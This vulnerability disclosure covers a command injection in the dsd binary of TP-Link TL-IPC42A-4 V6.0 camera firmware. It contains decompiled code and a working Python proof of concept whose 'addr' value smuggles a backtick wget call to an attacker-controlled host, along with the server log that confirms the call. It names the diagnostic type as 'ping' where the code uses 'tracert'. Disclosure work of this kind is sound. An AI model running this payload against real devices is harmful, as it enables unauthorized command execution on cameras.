

TP-Link TL-IPC42A-4 V6.0 CI vulnerability

Product Information

- 1 Brand: TP-Link
- 2 Model: TL-IPC42A-4
- 3 Firmware Version: v6.0(1.0.16)
- 4 Official website: <https://www.tp-link.com/>
- 5 Firmware Download URL: <https://resource.tp-link.com.cn/pc/docCenter/showDoc?id=1654576617532618>



Affected Component

- 1 dsd binary tracert Function

Vulnerability Details

In the sub_2E48C function, a diagnose feature exists, and execution enters sub_2E374 when the parameter dependencies are satisfied.

```
1 int __fastcall sub_2E48C(int a1, int a2)
2 {
3     int v4; // r4
4     int v5; // r0
5     int v6; // r2
6     int v7; // r0
7     _DWORD v9[32]; // [sp+0h] [bp-80h] BYREF
8
9     memset(v9, 0, 0x70u);
10    if ( a1 && a2 && jso_is_obj(a2) )
11    {
12        memset(v9, 0, 0x70u);
13        v4 = sub_2DE20(a1, v9);
14        if ( v4 )
15        {
16            printf("\t [dsd] %s(%d): ", "diagnose_oneclick_start", 802);
17            printf("load ping address failed");
18            v4 = -69055;
19            v5 = putchar(10);
20        }
21        else if ( jso_obj_get_string_origin(a2, "type") )
22        {
23            v5 = sub_2E374(a1, v9, v6);
24        }
25    }
26 }
```

When other parameter conditions are satisfied, execution proceeds to sub_2D85A.

```

1 int __fastcall sub_2E374(int a1, int a2, int a3)
2 {
3     int v3; // r4
4     int v6; // r5
5     int v7; // r6
6     int v8; // r7
7     _BYTE *v9; // r3
8     int v10; // r1
9     int v11; // r2
10    int v12; // r4
11    int v14; // [sp+0h] [bp-28h] BYREF
12    int v15; // [sp+4h] [bp-24h]
13    int v16; // [sp+8h] [bp-20h]
14
● 15    v16 = a3;
● 16    v3 = 0;
● 17    v14 = 0;
● 18    v15 = 0;
● 19    v6 = jso_new_obj(a1);
● 20    if ( v6 )
● 21    {
● 22        v7 = a2;
● 23        v8 = -1;
● 24        jso_add_string();
● 25        jso_add_int(v6, "num", 4);
● 26        jso_add_int(v6, "size", 64);
● 27        jso_add_int(v6, "timeout", 2);
● 28        do
● 29        {
● 30            v9 = *(v7 + 24);
● 31            if ( *v9 || v9[16] )
● 32            {
● 33                v14 = 0;
● 34                v15 = 0;
● 35                if ( v3 )
● 36                    sprintf(&v14, 8u, "addr_%d", v3);
● 37                else
● 38                    strncpy(&v14, "addr", 8u);
● 39                jso_add_string();
● 40                if ( (*(v7 + 24) + 96) )
● 41                    v8 = v3;
● 42            }
● 43            ++v3;
● 44            v7 += 28;
● 45        }
● 46        while ( v3 != 4 );
● 47        v12 = sub_2D85A(a1, v6);
● 48        if ( v12 )
● 49        {
● 50            printf("\t [dsd] %s(%d): ", "network_diagnose", 736);
● 51            printf("ping failed, res: %d, abort telnet", v12);
● 52            putchar(10);
● 53        }

```

When the diag_type parameter is ping, through a series of executions, the parameter corresponding to addr is eventually passed to the system function, causing a command injection vulnerability.

```

● 225    puts(s);
● 226    goto LABEL_70;
227
● 228    if ( !_strcmp(v25, "tracert") )
229    {
● 230        v31 = jso_obj_get_string_origin(a2, "addr");
● 231        v32 = v31;
● 232        if ( v31 )
● 233        {
● 234            v33 = strlen(v31);
● 235            if ( sub_17440(v32, v33) )
● 236            {
● 237                jso_obj_get_int(a2, "hops", &v38);
● 238                sprintf(s, 0x140u, ". /lib/diagnosis/traceroute.sh %d %s&", v38, v32);
● 239                system(s);
● 240                goto LABEL_70;

```

Attack

```
└──(kali㉿ kali)-[~/Desktop/work/test]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.31.200 - - [24/Dec/2025 20:22:32] "GET /JZP.txt HTTP/1.1" 304 -
```

POC

```
1 #!/usr/bin/env python3
2 import requests
3 import json
4
5 url = "http://192.168.31.200/stok=your_stok_value_here/ds"
6
7 headers = {
8     "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
9     "Accept": "application/json, text/javascript, */*; q=0.01",
10    "Accept-Language": "en-US,en;q=0.5",
11    "Accept-Encoding": "gzip, deflate, br",
12    "Content-Type": "application/json; charset=UTF-8",
13    "X-Requested-with": "XMLHttpRequest",
14    "Origin": "http://192.168.31.200",
15    "Referer": "http://192.168.31.200",
16    "Connection": "close"
17 }
18
19 data = {
20     "diagnose": {
21         "start": {
22             "diag_type": "tracert",
23             "addr": "www.baidu.com`wget
http://192.168.31.166:8000/JZP.txt`",
24             "hops": "20"
25         }
26     },
27     "method": "do"
28 }
29
30 response = requests.post(
31     url,
32     headers=headers,
33     json=data,
34     timeout=30
35 )
36
37 print("Status Code:", response.status_code)
38 print("Response Headers:", response.headers)
39 print("Response Body:")
40 print(response.text)
```

Suggested description

TP-Link TL-IPC42A-4 V6.0 has a CI vulnerability in the dsd binary.